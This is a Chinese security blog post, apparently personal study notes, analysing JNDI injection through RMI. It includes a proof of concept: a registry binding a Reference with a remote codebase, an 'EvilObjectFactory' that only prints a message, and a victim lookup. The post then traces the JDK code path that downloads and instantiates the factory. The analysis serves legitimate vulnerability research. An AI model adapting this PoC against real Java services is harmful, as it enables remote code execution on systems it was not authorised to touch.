关于 JNDI 注入

admin 2017年10月16日21:39:53评论63 views字数 3744阅读12分28秒阅读模式

关于 JNDI 注入

一篇炒冷饭的文章,全当笔记在写了,这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入” 分析文章没写过的东西,如果你看的不是很明白的话可以配合其他人写的分析文章一起看。


需要知道的背景知识

  1. JNDI 的概念不细写了,只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容

  2. JNDI API 中涉及到的常见的方法与接口的作用,如:Context.lookup

  3. JNDI 中 ServiceProvider 以及 ObjectFactory 的作用

  4. Reference 类的作用

  5. RMI 的相关基础知识,可以看我另一篇公众号,我记的非常全。


JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。


ObjectFactory

每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。


PoC


public static void main( String[] args ) throws Exception
{

// 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry
   Registry registry = LocateRegistry.createRegistry(1999);

   // 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
   // jndiinj.EvilObjectFactory
   
   // 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到
   // jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载
   // 当然利用的时候这里应该是一个真正的 codebase 的地址
   Reference ref = new Reference("whatever",
           "jndiinj.EvilObjectFactory", "http://localhost:9999/");

   // 利用 ReferenceWrapper 将前面的 Reference 对象包装一下
   // 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
   ReferenceWrapper wrapper = new ReferenceWrapper(ref);
   registry.bind("evil", wrapper);
}


EvilObjectFactory

代码如下:


public class EvilObjectFactory implements ObjectFactory {

public Object getObjectInstance(Object obj, Name name,
                                   Context nameCtx,
                                   Hashtable<?, ?> environment)
throws Exception {

System.out.println("executed");
       return null;
   }
}


Victim

Victim 需要执行 Context.lookup,并且 lookup 的参数需要我们可控。

public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
   // ctx.lookup 参数需要可控
   System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}


我的疑问

最开始看到 PoC 的时候,我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase 下载我们指定的类并去实例化,因为产生了很大的疑惑。


  1. 因为 RMI Class Loading 是有条件限制的,比如说默认禁用,以及与 JVM 的 codebase 配置有很大的关系。

  2. PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。


因为懒,这个疑问一直存在了很长时间,直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf 里面也提到了这个问题。


Victim 端的触发流程

  1. ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url 是以 rmi:// 开头的。


    public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
    return new RegistryContext(this);
       } else {
    Remote var2;
           try {
    var2 = this.registry.lookup(var1.get(0));
           } catch (NotBoundException var4) {
    throw new NameNotFoundException(var1.get(0));
           } catch (RemoteException var5) {
    throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
           }

    return this.decodeObject(var2, var1.getPrefix(1));
       }
    }
  2.  在 lookup 里面通过 this.registry.lookup 查找出远程对象,赋给 var2。这里的 var2 确实是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的。证明我的想法是没有错的,存入 rmi registry 的确实是一个 stub。

  3. 进入 this.decode


    private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
    Object var3 = var1 instanceof RemoteReference ?
    ((RemoteReference)var1).getReference() : var1;
           return NamingManager.getObjectInstance(var3, var2,
                   this, this.environment);
       } catch (NamingException var5) {
    throw var5;
       } catch (RemoteException var6) {
    throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
       } catch (Exception var7) {
    NamingException var4 = new NamingException();
           var4.setRootCause(var7);
           throw var4;
       }
    }
  4. this.decode 内将 stub 还原成了 Reference,这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance

  5. NamingManager.getObjectInstance 内部发现当前 JVM 中不存在 Reference 中指定的 object factory,就自动去我们指定的 codebase 地址下载(并不是利用的 RMI Class Loading 机制,所以解决了我另一个疑惑)并实例化我们指定的 Object Factory 类,并调用其 javax.naming.spi.ObjectFactory#getObjectInstance 方法。 



参考资料

http://docs.oracle.com/javase/jndi/tutorial/TOC.html

http://www.javaworld.com/article/2076888/core-java/jndi-overview--part-1--an-introduction-to-naming-services.html


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年10月16日21:39:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于 JNDI 注入https://cn-sec.com/archives/277174.html

发表评论

匿名网友 填写信息